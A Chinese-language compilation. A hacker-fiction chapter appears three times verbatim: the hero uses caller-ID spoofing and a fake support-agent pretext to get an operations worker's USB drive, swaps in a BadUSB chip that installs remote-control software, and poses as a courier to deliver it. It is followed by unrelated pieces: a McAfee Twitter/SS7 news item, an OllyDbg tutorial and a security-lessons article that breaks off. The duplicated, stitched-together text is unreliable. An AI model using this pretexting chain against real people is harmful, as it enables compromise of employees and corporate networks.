这是一个最好的时代,这是一个最坏的时代;

这是一个智慧的年代,这是一个愚蠢的年代;

这是一个光明的季节,这是一个黑暗的季节;

这是希望之春,这是失望之冬;

人们面前应有尽有,人们面前一无所有;

人们正踏上天堂之路,人们正走向地狱之门。

   ——《双城记》狄更斯

 

  入侵的路从来就不是平坦的,这取决实施入侵的人。黑客通常会找到别人看不到的路通往最终的目标。而这次是一个庞大的集团,尽管入口可能很多,但是许多条路都纷繁复杂,有些甚至可能是甜蜜的陷阱,又或者是达不到最终的终点。

  面对如此庞大的集团,除了自动化的信息收集系统,需要大量的人为的将这些信息进行提取、组合,制定入侵的方案。从而用最短的事件达到目标。盲目的去乱碰无异于浪费时间与生命。

  是否是因为最近几个月拒绝了任务让自己做出如此不合常规的操作?王梓内心中开始嘲笑起自己之前的愚蠢做法。这种情况对于一名职业网络杀手来说是一个危险的信号。他不得不重视起来并将自己紧绷起来,在内心中,此次的入侵绝对不能掉以轻心。

  将此次目标输入到信息收集的系统中。王梓面前的屏幕上显示着缓慢增长的进度条,在这简单的界面的背后却有数个分布在不同地点的服务器对网络中的无数交织起来的网络发出信息刺探的比特串。这也预示着一场网络攻击即将发生。没有人知道这网络攻击背后将会带来什么?

  王梓在国外的社交网络中看到关于HH集团不好的传言消息,而这样的消息在国内的网站中均看不到。而就在最近国家对国外网站的封锁力度增加了。要想翻墙去看到这类消息更加的困难。这背后是一种怎样的势力在操控着,这更加令人好奇。

  21世纪是一个飞速发展的时代,这个时代信息发达的程度惊人,信息的容量超过之前几千年的总和,并且每年还在翻倍的增长。国家对网络安全威胁高度重视,加快并促进了网络安全事业的建设。这对于从事网络安全行业的人是一个极好的消息,而对黑色产业来说则无疑又增加了成本。但是无论怎样,黑色产业总会以你意想不到的方法巧妙的绕过。而这两者之间是高度依赖的,如果没有黑色产业的存在,那么也不会有网络安全行业。世界就是这样的矛盾存在,而矛盾存在的根本在于这是由一个矛盾主体(人)控制的世界。

  从音响中发出“叮叮叮”的声音,屏幕上显示着:“你的信息收集完毕!”。王梓点击开,一幅拥有众多数据信息树形结构图展现出来。这么多的信息王梓经过了一夜的时间将起提取并梳理了出来。当完成的那一刻,王梓伸了一个懒腰,看一下时间,已经是清晨六点,窗外还是漆黑的一片。“看来今天不能够去练拳了” 王梓自言自语道。

 王梓将主要目标锁定在集团高层以及高层的秘书,另外还有网络的运维人员,他通过搜索引擎中意外获取到一份集团内部通讯录。与王梓构建的社工库进行结合,很快便得到了相关人员的关键信息。攻击高层更加直接,如果不行,在通过运维人员那里获得到集团大多数的服务器权限,方便从内部获取资料。

  又通过一个上午的忙碌,最终将目标锁定在了两个人身上,一个叫白兰,25岁,HH集团董事长其中一位秘书。另外一个叫卫祺福,28岁,HH集团运维人员。通过上午的收集,王梓掌握了这两个人的习惯,基础信息,以及最近两个人的状况,当然还包括住址,而且两个人都是喜欢发自拍照的人。在现在的网络中,社交软件上充斥着大量的个人自拍照和一些带有位置的隐私信息。对于黑客来讲这样的信息至关重要,对自己的攻击将会带来极大的方便。

  卫祺福正在京东的网站上查看u盘的内容,因为他最近刚买不久的u盘就坏掉了,他去卖家的地方给了一个差评。而他这次挑选u盘十分的谨慎。他还在网络中的专业论坛发帖说这件事情。此时,他的电脑响了起来。他接通了电话,电话那边传来了一个人男人的声音。

  “您好,请问是卫先生嘛?”

  “我是,你是哪位?”

  “我是东升科技的客服人员小赵,我看到您给我们的一款产品给了差评,并说我们的质量存在严重的问题。我想跟您了解一下情况。”

  “你们的u盘,我买了才1个月就坏掉了,而且你们客服说维修不了。太耽误我的事了。”

  “对此我感到万分的抱歉,u盘属于易损物品,但是我们都是经过产品合格检查的,出现您这种概率实在是属于小概率时间。另外,坏掉跟您的使用也有关系。”

  “这么说你是赖我自己喽?”

  “不是的,您看这样行不行,我给您重新寄一块新的u盘,您把差评去掉可以不?”

  “我已经不再相信你们的产品了。”

  “我们的硬盘绝对是正品,而且是大厂的,出现您的这种情况,实在是属于意外,极小概率的事件。我们给您补偿一个新的。如果我们的u盘再出现问题,您再考虑更换其他的不是更好。”

  “那你们在给我发一款新的吧。” 卫祺福想了想也是,这样能省下不少的钱。

  “好的,我们就按照原来的地址发一个同样的新的。另外还请您配合一下,把您原来的有问题的寄回来,我们要进行检查。”

  “我要寄到哪里?邮费是你们出吧?”

  “对的,您寄到*地址,收件人小赵,电话166123692181(随便编的号码),您寄出后,我们会第一时间给您寄送新的u盘。还请您把差评去掉。谢谢!”

  “我收到新的u盘在给你们去掉差评。”

  “好的”。

  卫祺福将电话挂掉,他怀疑事情可能没这么简单,他又特地去查了下来电号码确认是否是官方客服。他看到来电与店铺电话一致便打消了念头。他预约了快递准备硬盘寄出去。

  王梓这边传来了电话挂断的声音。他微笑了一下,看来鱼儿已经上钩了。他使用了来电电话号码欺骗的软件,并伪装了客服人员获取到了这名大集团企业运维人员的信任。一扇大门即将向他敞开。

  第二天,王梓就收到了卫祺福寄回来的有问题的u盘。王梓将其拆开,将其芯片取出。他将准备好的badusb的芯片放入到u盘的外壳中。该芯片在插入电脑的时候会执行恶意的远程控制程序。制作完成后,王梓在中关村电脑城购买了一模一样的新u盘。

  王梓使用来电显示欺骗拨通了卫祺福的电话。

  “您好,我是东升科技的客服,您的u盘我们已经收到,我们这边已经利用技术手段对u盘进行了修复。另外,我们为了保障你的使用,我们特意准备了一个新的u盘给您。还麻烦您把差评给删除掉。”

  “我拿到u盘之后看看在说。”

  “好的,u盘今 天会为您寄出,最迟3天收到。请您注意查收。”

  过了两天,王梓将两个u盘分别贴上了标签,进行区分并打包好。装进了一个纸盒中,密封好,紧接着将从快递公司拿到的快递单,将对方信息全部填写好。穿上了一身红颜色的京东快递服装。戴上一顶帽子,压的较低。一切都已经准备好,开始出发。

  平静如往常,在到达HH集团楼下,王梓拨通了卫祈福的电话。

  “您好,京东快递,有您的快件到了,麻烦下楼来取下。”

  “好的,我这就下去。”

   此时的王梓与其他快递员在一起,他蹲在具有好多快递的面前,手里的电话贴在耳边。不一会儿,卫祺福就来到了王梓面前。他对王梓说:“卫祺福的快递”。王梓抬头看了他一眼,然后将u盘递给他,并要求他签收。等到卫祺福上楼后,王梓也随即离开这里。

  卫祺福拿到了新的u盘,并且又多了一个u盘。他心中有些开心。脸上不自觉的漏出浅浅的微笑。他回到工位,便立即尝试u盘是否好使,将u盘插入电脑,过了5秒钟,桌面右下角弹出了新硬件接入的提示窗。就在这5秒中,远程控制程序已经植入到了卫祺福的电脑中。王梓的控制端中又多出了一台肉鸡。此时的王梓正在回家的路上,路上还可以见到一些人群人拖着行李,走在这寒冷的冬季里。他们的眼神暗淡,透出些许迷茫并带着失望。王梓不知道他们将要去哪里,也不知道为什么会这样。而现在对啊来说最重要的就是回到家中。早日发现深深隐藏在这座城市甚至国家的秘密。 

说明:

  1、通过搜索引擎获取通讯的案例主要来自2013年曾经如家整个集团通讯录可以通过搜索引擎搜索。通讯录泄漏了集团级集团下属企业人员及职能和联系信息。

  2、社工的思路来源于范建中的《黑客社会工程学攻击》一书的案例。

  3、网络中有售卖来电显示欺骗的收费软件。

这是一个最好的时代,这是一个最坏的时代;

这是一个智慧的年代,这是一个愚蠢的年代;

这是一个光明的季节,这是一个黑暗的季节;

这是希望之春,这是失望之冬;

人们面前应有尽有,人们面前一无所有;

人们正踏上天堂之路,人们正走向地狱之门。

   ——《双城记》狄更斯 

  入侵的路从来就不是平坦的,这取决实施入侵的人。黑客通常会找到别人看不到的路通往最终的目标。而这次是一个庞大的集团,尽管入口可能很多,但是许多条路都纷繁复杂,有些甚至可能是甜蜜的陷阱,又或者是达不到最终的终点。

  面对如此庞大的集团,除了自动化的信息收集系统,需要大量的人为的将这些信息进行提取、组合,制定入侵的方案。从而用最短的事件达到目标。盲目的去乱碰无异于浪费时间与生命。

  是否是因为最近几个月拒绝了任务让自己做出如此不合常规的操作?王梓内心中开始嘲笑起自己之前的愚蠢做法。这种情况对于一名职业网络杀手来说是一个危险的信号。他不得不重视起来并将自己紧绷起来,在内心中,此次的入侵绝对不能掉以轻心。

  将此次目标输入到信息收集的系统中。王梓面前的屏幕上显示着缓慢增长的进度条,在这简单的界面的背后却有数个分布在不同地点的服务器对网络中的无数交织起来的网络发出信息刺探的比特串。这也预示着一场网络攻击即将发生。没有人知道这网络攻击背后将会带来什么?

  王梓在国外的社交网络中看到关于HH集团不好的传言消息,而这样的消息在国内的网站中均看不到。而就在最近国家对国外网站的封锁力度增加了。要想翻墙去看到这类消息更加的困难。这背后是一种怎样的势力在操控着,这更加令人好奇。

  21世纪是一个飞速发展的时代,这个时代信息发达的程度惊人,信息的容量超过之前几千年的总和,并且每年还在翻倍的增长。国家对网络安全威胁高度重视,加快并促进了网络安全事业的建设。这对于从事网络安全行业的人是一个极好的消息,而对黑色产业来说则无疑又增加了成本。但是无论怎样,黑色产业总会以你意想不到的方法巧妙的绕过。而这两者之间是高度依赖的,如果没有黑色产业的存在,那么也不会有网络安全行业。世界就是这样的矛盾存在,而矛盾存在的根本在于这是由一个矛盾主体(人)控制的世界。

  从音响中发出“叮叮叮”的声音,屏幕上显示着:“你的信息收集完毕!”。王梓点击开,一幅拥有众多数据信息树形结构图展现出来。这么多的信息王梓经过了一夜的时间将起提取并梳理了出来。当完成的那一刻,王梓伸了一个懒腰,看一下时间,已经是清晨六点,窗外还是漆黑的一片。“看来今天不能够去练拳了” 王梓自言自语道。

 王梓将主要目标锁定在集团高层以及高层的秘书,另外还有网络的运维人员,他通过搜索引擎中意外获取到一份集团内部通讯录。与王梓构建的社工库进行结合,很快便得到了相关人员的关键信息。攻击高层更加直接,如果不行,在通过运维人员那里获得到集团大多数的服务器权限,方便从内部获取资料。

  又通过一个上午的忙碌,最终将目标锁定在了两个人身上,一个叫白兰,25岁,HH集团董事长其中一位秘书。另外一个叫卫祺福,28岁,HH集团运维人员。通过上午的收集,王梓掌握了这两个人的习惯,基础信息,以及最近两个人的状况,当然还包括住址,而且两个人都是喜欢发自拍照的人。在现在的网络中,社交软件上充斥着大量的个人自拍照和一些带有位置的隐私信息。对于黑客来讲这样的信息至关重要,对自己的攻击将会带来极大的方便。

  卫祺福正在京东的网站上查看u盘的内容,因为他最近刚买不久的u盘就坏掉了,他去卖家的地方给了一个差评。而他这次挑选u盘十分的谨慎。他还在网络中的专业论坛发帖说这件事情。此时,他的电脑响了起来。他接通了电话,电话那边传来了一个人男人的声音。

  “您好,请问是卫先生嘛?”

  “我是,你是哪位?”

  “我是东升科技的客服人员小赵,我看到您给我们的一款产品给了差评,并说我们的质量存在严重的问题。我想跟您了解一下情况。”

  “你们的u盘,我买了才1个月就坏掉了,而且你们客服说维修不了。太耽误我的事了。”

  “对此我感到万分的抱歉,u盘属于易损物品,但是我们都是经过产品合格检查的,出现您这种概率实在是属于小概率时间。另外,坏掉跟您的使用也有关系。”

  “这么说你是赖我自己喽?”

  “不是的,您看这样行不行,我给您重新寄一块新的u盘,您把差评去掉可以不?”

  “我已经不再相信你们的产品了。”

  “我们的硬盘绝对是正品,而且是大厂的,出现您的这种情况,实在是属于意外,极小概率的事件。我们给您补偿一个新的。如果我们的u盘再出现问题,您再考虑更换其他的不是更好。”

  “那你们在给我发一款新的吧。” 卫祺福想了想也是,这样能省下不少的钱。

  “好的,我们就按照原来的地址发一个同样的新的。另外还请您配合一下,把您原来的有问题的寄回来,我们要进行检查。”

  “我要寄到哪里?邮费是你们出吧?”

  “对的,您寄到*地址,收件人小赵,电话166123692181(随便编的号码),您寄出后,我们会第一时间给您寄送新的u盘。还请您把差评去掉。谢谢!”

  “我收到新的u盘在给你们去掉差评。”

  “好的”。

  卫祺福将电话挂掉,他怀疑事情可能没这么简单,他又特地去查了下来电号码确认是否是官方客服。他看到来电与店铺电话一致便打消了念头。他预约了快递准备硬盘寄出去。

  王梓这边传来了电话挂断的声音。他微笑了一下,看来鱼儿已经上钩了。他使用了来电电话号码欺骗的软件,并伪装了客服人员获取到了这名大集团企业运维人员的信任。一扇大门即将向他敞开。

  第二天,王梓就收到了卫祺福寄回来的有问题的u盘。王梓将其拆开,将其芯片取出。他将准备好的badusb的芯片放入到u盘的外壳中。该芯片在插入电脑的时候会执行恶意的远程控制程序。制作完成后,王梓在中关村电脑城购买了一模一样的新u盘。

  王梓使用来电显示欺骗拨通了卫祺福的电话。

  “您好,我是东升科技的客服,您的u盘我们已经收到,我们这边已经利用技术手段对u盘进行了修复。另外,我们为了保障你的使用,我们特意准备了一个新的u盘给您。还麻烦您把差评给删除掉。”

  “我拿到u盘之后看看在说。”

  “好的,u盘今 天会为您寄出,最迟3天收到。请您注意查收。”

  过了两天,王梓将两个u盘分别贴上了标签,进行区分并打包好。装进了一个纸盒中,密封好,紧接着将从快递公司拿到的快递单,将对方信息全部填写好。穿上了一身红颜色的京东快递服装。戴上一顶帽子,压的较低。一切都已经准备好,开始出发。

  平静如往常,在到达HH集团楼下,王梓拨通了卫祈福的电话。

  “您好,京东快递,有您的快件到了,麻烦下楼来取下。”

  “好的,我这就下去。”

   此时的王梓与其他快递员在一起,他蹲在具有好多快递的面前,手里的电话贴在耳边。不一会儿,卫祺福就来到了王梓面前。他对王梓说:“卫祺福的快递”。王梓抬头看了他一眼,然后将u盘递给他,并要求他签收。等到卫祺福上楼后,王梓也随即离开这里。

  卫祺福拿到了新的u盘,并且又多了一个u盘。他心中有些开心。脸上不自觉的漏出浅浅的微笑。他回到工位,便立即尝试u盘是否好使,将u盘插入电脑,过了5秒钟,桌面右下角弹出了新硬件接入的提示窗。就在这5秒中,远程控制程序已经植入到了卫祺福的电脑中。王梓的控制端中又多出了一台肉鸡。此时的王梓正在回家的路上,路上还可以见到一些人群人拖着行李,走在这寒冷的冬季里。他们的眼神暗淡,透出些许迷茫并带着失望。王梓不知道他们将要去哪里,也不知道为什么会这样。而现在对啊来说最重要的就是回到家中。早日发现深深隐藏在这座城市甚至国家的秘密。 

说明:

  1、通过搜索引擎获取通讯的案例主要来自2013年曾经如家整个集团通讯录可以通过搜索引擎搜索。通讯录泄漏了集团级集团下属企业人员及职能和联系信息。

  2、社工的思路来源于范建中的《黑客社会工程学攻击》一书的案例。

  3、网络中有售卖来电显示欺骗的收费软件。

这是一个最好的时代,这是一个最坏的时代;

这是一个智慧的年代,这是一个愚蠢的年代;

这是一个光明的季节,这是一个黑暗的季节;

这是希望之春,这是失望之冬;

人们面前应有尽有,人们面前一无所有;

人们正踏上天堂之路,人们正走向地狱之门。

   ——《双城记》狄更斯 

  入侵的路从来就不是平坦的,这取决实施入侵的人。黑客通常会找到别人看不到的路通往最终的目标。而这次是一个庞大的集团,尽管入口可能很多,但是许多条路都纷繁复杂,有些甚至可能是甜蜜的陷阱,又或者是达不到最终的终点。

  面对如此庞大的集团,除了自动化的信息收集系统,需要大量的人为的将这些信息进行提取、组合,制定入侵的方案。从而用最短的事件达到目标。盲目的去乱碰无异于浪费时间与生命。

  是否是因为最近几个月拒绝了任务让自己做出如此不合常规的操作?王梓内心中开始嘲笑起自己之前的愚蠢做法。这种情况对于一名职业网络杀手来说是一个危险的信号。他不得不重视起来并将自己紧绷起来,在内心中,此次的入侵绝对不能掉以轻心。

  将此次目标输入到信息收集的系统中。王梓面前的屏幕上显示着缓慢增长的进度条,在这简单的界面的背后却有数个分布在不同地点的服务器对网络中的无数交织起来的网络发出信息刺探的比特串。这也预示着一场网络攻击即将发生。没有人知道这网络攻击背后将会带来什么?

  王梓在国外的社交网络中看到关于HH集团不好的传言消息,而这样的消息在国内的网站中均看不到。而就在最近国家对国外网站的封锁力度增加了。要想翻墙去看到这类消息更加的困难。这背后是一种怎样的势力在操控着,这更加令人好奇。

  21世纪是一个飞速发展的时代,这个时代信息发达的程度惊人,信息的容量超过之前几千年的总和,并且每年还在翻倍的增长。国家对网络安全威胁高度重视,加快并促进了网络安全事业的建设。这对于从事网络安全行业的人是一个极好的消息,而对黑色产业来说则无疑又增加了成本。但是无论怎样,黑色产业总会以你意想不到的方法巧妙的绕过。而这两者之间是高度依赖的,如果没有黑色产业的存在,那么也不会有网络安全行业。世界就是这样的矛盾存在,而矛盾存在的根本在于这是由一个矛盾主体(人)控制的世界。

  从音响中发出“叮叮叮”的声音,屏幕上显示着:“你的信息收集完毕!”。王梓点击开,一幅拥有众多数据信息树形结构图展现出来。这么多的信息王梓经过了一夜的时间将起提取并梳理了出来。当完成的那一刻,王梓伸了一个懒腰,看一下时间,已经是清晨六点,窗外还是漆黑的一片。“看来今天不能够去练拳了” 王梓自言自语道。

 王梓将主要目标锁定在集团高层以及高层的秘书,另外还有网络的运维人员,他通过搜索引擎中意外获取到一份集团内部通讯录。与王梓构建的社工库进行结合,很快便得到了相关人员的关键信息。攻击高层更加直接,如果不行,在通过运维人员那里获得到集团大多数的服务器权限,方便从内部获取资料。

  又通过一个上午的忙碌,最终将目标锁定在了两个人身上,一个叫白兰,25岁,HH集团董事长其中一位秘书。另外一个叫卫祺福,28岁,HH集团运维人员。通过上午的收集,王梓掌握了这两个人的习惯,基础信息,以及最近两个人的状况,当然还包括住址,而且两个人都是喜欢发自拍照的人。在现在的网络中,社交软件上充斥着大量的个人自拍照和一些带有位置的隐私信息。对于黑客来讲这样的信息至关重要,对自己的攻击将会带来极大的方便。

  卫祺福正在京东的网站上查看u盘的内容,因为他最近刚买不久的u盘就坏掉了,他去卖家的地方给了一个差评。而他这次挑选u盘十分的谨慎。他还在网络中的专业论坛发帖说这件事情。此时,他的电脑响了起来。他接通了电话,电话那边传来了一个人男人的声音。

  “您好,请问是卫先生嘛?”

  “我是,你是哪位?”

  “我是东升科技的客服人员小赵,我看到您给我们的一款产品给了差评,并说我们的质量存在严重的问题。我想跟您了解一下情况。”

  “你们的u盘,我买了才1个月就坏掉了,而且你们客服说维修不了。太耽误我的事了。”

  “对此我感到万分的抱歉,u盘属于易损物品,但是我们都是经过产品合格检查的,出现您这种概率实在是属于小概率时间。另外,坏掉跟您的使用也有关系。”

  “这么说你是赖我自己喽?”

  “不是的,您看这样行不行,我给您重新寄一块新的u盘,您把差评去掉可以不?”

  “我已经不再相信你们的产品了。”

  “我们的硬盘绝对是正品,而且是大厂的,出现您的这种情况,实在是属于意外,极小概率的事件。我们给您补偿一个新的。如果我们的u盘再出现问题,您再考虑更换其他的不是更好。”

  “那你们在给我发一款新的吧。” 卫祺福想了想也是,这样能省下不少的钱。

  “好的,我们就按照原来的地址发一个同样的新的。另外还请您配合一下,把您原来的有问题的寄回来,我们要进行检查。”

  “我要寄到哪里?邮费是你们出吧?”

  “对的,您寄到*地址,收件人小赵,电话166123692181(随便编的号码),您寄出后,我们会第一时间给您寄送新的u盘。还请您把差评去掉。谢谢!”

  “我收到新的u盘在给你们去掉差评。”

  “好的”。

  卫祺福将电话挂掉,他怀疑事情可能没这么简单,他又特地去查了下来电号码确认是否是官方客服。他看到来电与店铺电话一致便打消了念头。他预约了快递准备硬盘寄出去。

  王梓这边传来了电话挂断的声音。他微笑了一下,看来鱼儿已经上钩了。他使用了来电电话号码欺骗的软件,并伪装了客服人员获取到了这名大集团企业运维人员的信任。一扇大门即将向他敞开。

  第二天,王梓就收到了卫祺福寄回来的有问题的u盘。王梓将其拆开,将其芯片取出。他将准备好的badusb的芯片放入到u盘的外壳中。该芯片在插入电脑的时候会执行恶意的远程控制程序。制作完成后,王梓在中关村电脑城购买了一模一样的新u盘。

  王梓使用来电显示欺骗拨通了卫祺福的电话。

  “您好,我是东升科技的客服,您的u盘我们已经收到,我们这边已经利用技术手段对u盘进行了修复。另外,我们为了保障你的使用,我们特意准备了一个新的u盘给您。还麻烦您把差评给删除掉。”

  “我拿到u盘之后看看在说。”

  “好的,u盘今 天会为您寄出,最迟3天收到。请您注意查收。”

  过了两天,王梓将两个u盘分别贴上了标签,进行区分并打包好。装进了一个纸盒中,密封好,紧接着将从快递公司拿到的快递单,将对方信息全部填写好。穿上了一身红颜色的京东快递服装。戴上一顶帽子,压的较低。一切都已经准备好,开始出发。

  平静如往常,在到达HH集团楼下,王梓拨通了卫祈福的电话。

  “您好,京东快递,有您的快件到了,麻烦下楼来取下。”

  “好的,我这就下去。”

   此时的王梓与其他快递员在一起,他蹲在具有好多快递的面前,手里的电话贴在耳边。不一会儿,卫祺福就来到了王梓面前。他对王梓说:“卫祺福的快递”。王梓抬头看了他一眼,然后将u盘递给他,并要求他签收。等到卫祺福上楼后,王梓也随即离开这里。

  卫祺福拿到了新的u盘,并且又多了一个u盘。他心中有些开心。脸上不自觉的漏出浅浅的微笑。他回到工位,便立即尝试u盘是否好使,将u盘插入电脑,过了5秒钟,桌面右下角弹出了新硬件接入的提示窗。就在这5秒中,远程控制程序已经植入到了卫祺福的电脑中。王梓的控制端中又多出了一台肉鸡。此时的王梓正在回家的路上,路上还可以见到一些人群人拖着行李,走在这寒冷的冬季里。他们的眼神暗淡,透出些许迷茫并带着失望。王梓不知道他们将要去哪里,也不知道为什么会这样。而现在对啊来说最重要的就是回到家中。早日发现深深隐藏在这座城市甚至国家的秘密。 

说明:

  1、通过搜索引擎获取通讯的案例主要来自2013年曾经如家整个集团通讯录可以通过搜索引擎搜索。通讯录泄漏了集团级集团下属企业人员及职能和联系信息。

  2、社工的思路来源于范建中的《黑客社会工程学攻击》一书的案例。

  3、网络中有售卖来电显示欺骗的收费软件。

在硅谷呼风唤雨,同时还是个瘾君子,禅宗瑜伽大师,去年11月还被警方通缉…有人说他简直就是美国梦的代表人——John McAfee,著名杀毒软件迈克菲的创始人,又被黑了twitter帐号。

据悉,账户被黑后,黑客利用McAfee的影响力发了多条推广加密货币的推文,如Siacoin, NXT, XRP, PTOY, and BAT等等。John McAfee表示,自己的twitter账户采用了双因素认证保密机制,此次被黑意味着黑客已经找到获取twitter验证码的方法,并且极有可能是通过攻击移动设备或者基于七号信令系统攻击(SS7 attack)来实现的。

七号信令系统攻击是利用SS7协议中的一个缺陷,在信息服务系统中轻松窃取受害人的身份信息。现如今较热门的的即时通讯工具,如telegram,whatsapp,都依赖SMS认证作为主要的安全验证机制,通过SS7信令路由转发后通讯,而黑客则可以利用协议漏洞来获取受害人的身份账户信息。

据McAfee所说,有人入侵了他的智能手机:

McAfee创始人John McAfee twitter帐号被黑

McAfee创始人John McAfee twitter帐号被黑

McAfee创始人John McAfee twitter帐号被黑

McAfee告诉英国广播公司BBC:“当我打开手机看到这张图,我就知道我的手机被黑了。”

McAfee创始人John McAfee twitter帐号被黑

(McAfee所指手机图)

我当时就知道我的电话已经被盗用了。当时我在船上,不能联系我的运营商(AT&T)解决这个问题。 黑客所做的一切让我的Twitter账户受到了损害,但没有带来更严重的后果。

据笔者完稿时,McAfee的twitter帐号已经完全恢复,twitter官方并未就此次事件置评,但这也给我们活跃在各种社交媒体上的网友们带来一丝凉意——黑客想要获取你的私人帐号,其实并不难。

* 参考来源:securityaffairs,FB小编 banish 编译,转载请注明来自FreeBuf.COM

OllyDbg简称OD,是一款具有可视化界面的用户模式调试器,结合了动态调试和静态分析,具有强大的反汇编引擎,能够识别数千个被C和Windows所使用的函数,并能将其参数注释出,能自动分析函数过程,循环语句,代码中的字符串等,非常容易上手,并且对异常的跟踪处理相当灵活,这些特性使得OllyDbg成为调试ring3级程序的首选工具,爱好者不断地修改,扩充OllyDbg,脚本执行能力和开发插件接口使得其变得越来越强大。

下面是OD的界面:

image.png

我们先对它的重要部分进行编号,然后详细介绍,

image.png

(1)首先我们介绍一下第一部分:

也就是这一部分:

image.png

使用OD打开目标程序后,OD会打开多个子窗口,单击各个标签按钮可以在各个子窗口之间切换,这些按钮依次对应Log窗口,Executable modules窗口,Memory窗口,Threads窗口,Windows窗口,Handles窗口,CPU窗口,Patches窗口,Call stack窗口,Breakpoints窗口,References窗口,Run trace窗口,Source窗口。

默认的当前窗口是CPU窗口,他在OD中是最重要的窗口,调试程序的绝大部分操作都要在这个窗口进行。他包含以下5个窗口:

1.反汇编窗口

2.寄存器面板

3.信息面板

4.数据面板

5.堆栈面板

这也是我们接下来将要介绍的2,3,4,5,6部分。


(2)CPU窗口的反汇编面板,也就是我们第2个标号的部分。

       反汇编面板窗口显示被调试程序的代码,它有4个列,分别是地址(address),机器码(hex dump),反汇编代码(disassembly),注释(comment)。最后一列注释栏显示相关API参数或运行简表,非常有用。

      address列:显示相对被单击地址的地址,再次双击返回到标准地址模式。

      hex dump列:设置或取消无条件断点,对应的快捷键是F2。

      disassembly列:条用汇编器,可直接修改汇编代码。

      comment列:允许增加或编辑注释,对应的快捷键是“;”键。


(3)寄存器面板窗口,也就是我们对应的第3个标号的地方.

       这里显示CPU各寄存器的值,支持浮点,MMX和3DNow!寄存器,可以单击鼠标右键或单击窗口标题切换显示寄存器的方式。


(4)信息面板窗口。

       动态跟踪时,显示与指令相关的各寄存器值,API函数调用提示和跳转提示信息。

image.png


(5)堆栈面板窗口。

       显示了堆栈的内容,即ESP指向地址的内容,堆栈窗口非常重要,各API函数和子程序等都利用它传递参数和变量等。

image.png


(6)数据面板窗口。

       以十六进制和字符方式显示文件在内存中的数据,要显示数据可点击鼠标右键“go to expression”命令或按“Ctrl+G”键打开地址窗口,输入地址。

image.png


OD常用快捷键:

    F2:设置断点,只要在光标定位的位置按F2键即可,在按一次F2键则会删除断点。

    F8:单步步过,每按一次这个键执行一条反汇编窗口中的一条指令,遇到call等子程序不进入其代码。

    F7:单步步入:功能同单步步过(F8)类似,区别是遇到call等子程序会进入其中,进入后首先会停留在子程序的第一条指令上。

    F4:运行到选定位置,作用就是直接运行到光标所在位置处暂停。

    F9:运行,按下这个键如果没有设置相应断点的话,被调试的程序将直接开始运行。

    ctrl+F9:执行到返回,此命令在执行到一个ret(返回指令)指令时暂停,常用于从系统部分返回到我们调试的程序部分。

    alt+F9:执行到用户代码,可用于从系统部分快速返回到我们调试的程序部分。

单步步入和单步步过:

F8在调试中用的很频繁,可以一句一句地单步执行汇编指令,遇到call指令不会跟进,而路过。

F7和F8功能键的主要差别就在于若遇到call,loop等指令,F8是路过,而F7是跟进去。

设置断点:

断点是调试器的一个重要功能,它能使程序中断在需要的地方,从而方便对其分析,常用的断点是INT3,其原理是ollydbg将断点处的代码设置为int3指令。

将光标移动到要设置断点的行,按F2键就可以设置了,也可以双击hex数据列。

设置断点可以让软件运行的时候停在设置断点的地方,以方便反复跟踪调试,当程序关闭时,ollydbg会将设置好的断点保存在UDD文件中,下次运行时还有效。

调试分析:

调试分析就是分析程序代码的意义,阅读这些代码时,首先要搞清楚各API函数的定义,还要弄明白那些汇编程序代码的具体含义。


本期就介绍到这里了,下一期我们开始讲解实战部分。

1.png

今年,我尽自己所能协助各大企业和组织处理了很多安全事件。就我个人的经验来看,我所观察到的东西跟2016年的情况几乎没有什么区别。其中,以下两个因素会对安全事件产生重要影响:

1.   过度暴露高风险机密-这种因素是导致严重安全事件发生的主要原因,很多影响严重的事件都具备这种特征。

2.   受害用户的可用日志-它既是帮助组织从攻击事件中快速恢复的良药,也是导致用户重要凭证信息被盗的“罪魁祸首”。

而在这篇文章中,我将给大家提供一些新的观点,并跟大家一起从2017年所发生的数据泄露事件中吸取经验和教训。

优秀的安全团队需要知道自己的“战场”在哪里

对于“跨多个公司间安全团队协同合作”这个概念而言,今年绝对是一个重大突破和胜利。其中,最典型的案例就是OneLogin以及Cloudbleed的数据泄露事件。

拥有优秀网络安全团队的公司数量正在迅速增加,而且他们也逐渐能够理解和区分各自客户代表给他们反馈回来的各种不同的安全信息了。

虽然很多公司在遇到数据泄露等安全事件时,没有办法去适当的处理。但很多公司会选择进入“响应模式”,然后跟其他团队分享事件信息,并讨论如何缓解安全事件所带来的影响(包括告诉客户如何采取相应措施来保护自己)。因此,更加紧密的信息共享让这些团队能够更加快速、有效和自信地处理安全事件了。

应对方案

“出去走走,多交些朋友。”你可以多去各种社区逛逛,多跟竞争对手的安全团队交流,分享各类安全事件的处理过程,努力成为社区中一名优秀的成员。

2.png

记者跟公司雇员之间的直接联系越来越多

在我看来,各种告密以及内幕泄露也成为了今年的一种趋势。今年很多公司都发现,越来越多的记者开始通过社交媒体平台或者加密聊天应用来跟企业雇员进行频繁的联系,而这些记者往往会直接跟他们询问一些非常“敏感”的信息,尤其是一些涉及到企业业务计划和新产品的相关内容。

这种情况跟我在前几年见到的有些不同,因为企业员工跟外部的这种“接触”变得越来越频繁,而且针对员工的垃圾邮件也越来越多,这将会大大增加员工泄露重要机密数据的可能性。

应对方案

企业和组织应该尽可能地限制这类“交流”的发生,并要求员工按照“无可奉告”政策来行事。如果不得已需要跟记者或媒体联系的话,请一定要构建一种可信的通信渠道,这样做有两个好处:首先,这样可以从某种程度上降低数据泄露发生的可能性;其次,当数据泄露发生的时候,你可以迅速知道数据的泄漏源。

3.png

短信跟身份认证之间的那些事儿

目前,很多在线服务以及应用程序都允许用户通过短信来重置账户密码。如果攻击者知道了验证短信的内容,那你就危险了。

目前有多种方法可以帮助攻击者获取到目标用户的验证短信,而绝大多数方法都涉及到对通信运营商进行社会工程学技术。攻击者可以将电话号码转移到其他运营商,并拦截目标短信。或者说,他们可以注册同一运营商旗下的SIM卡,然后实现短信拦截。而他们的这些攻击技术同样适用于基于Web的短信。

应对方案

为了彻底解决这种安全问题,我们应该想办法用其他类型的认证方式来替换掉基于手机短信的验证方式。除此之外,在企业和组织的日常安全培训中,我们也应该培养员工对这方面的安全意识。

4.png

有时我们唯一的敌人就是我们自己开发的代码

其实,有很多安全事件都是企业或组织自身问题所导致的。这些事件可能是程序的代码或者基础设施的配置不当所导致的,因此这里并不涉及到外部人员的恶意攻击。这类事件并没有什么神秘可言,而一切都可以通过相当具体的调查任务来发现漏洞的成因。

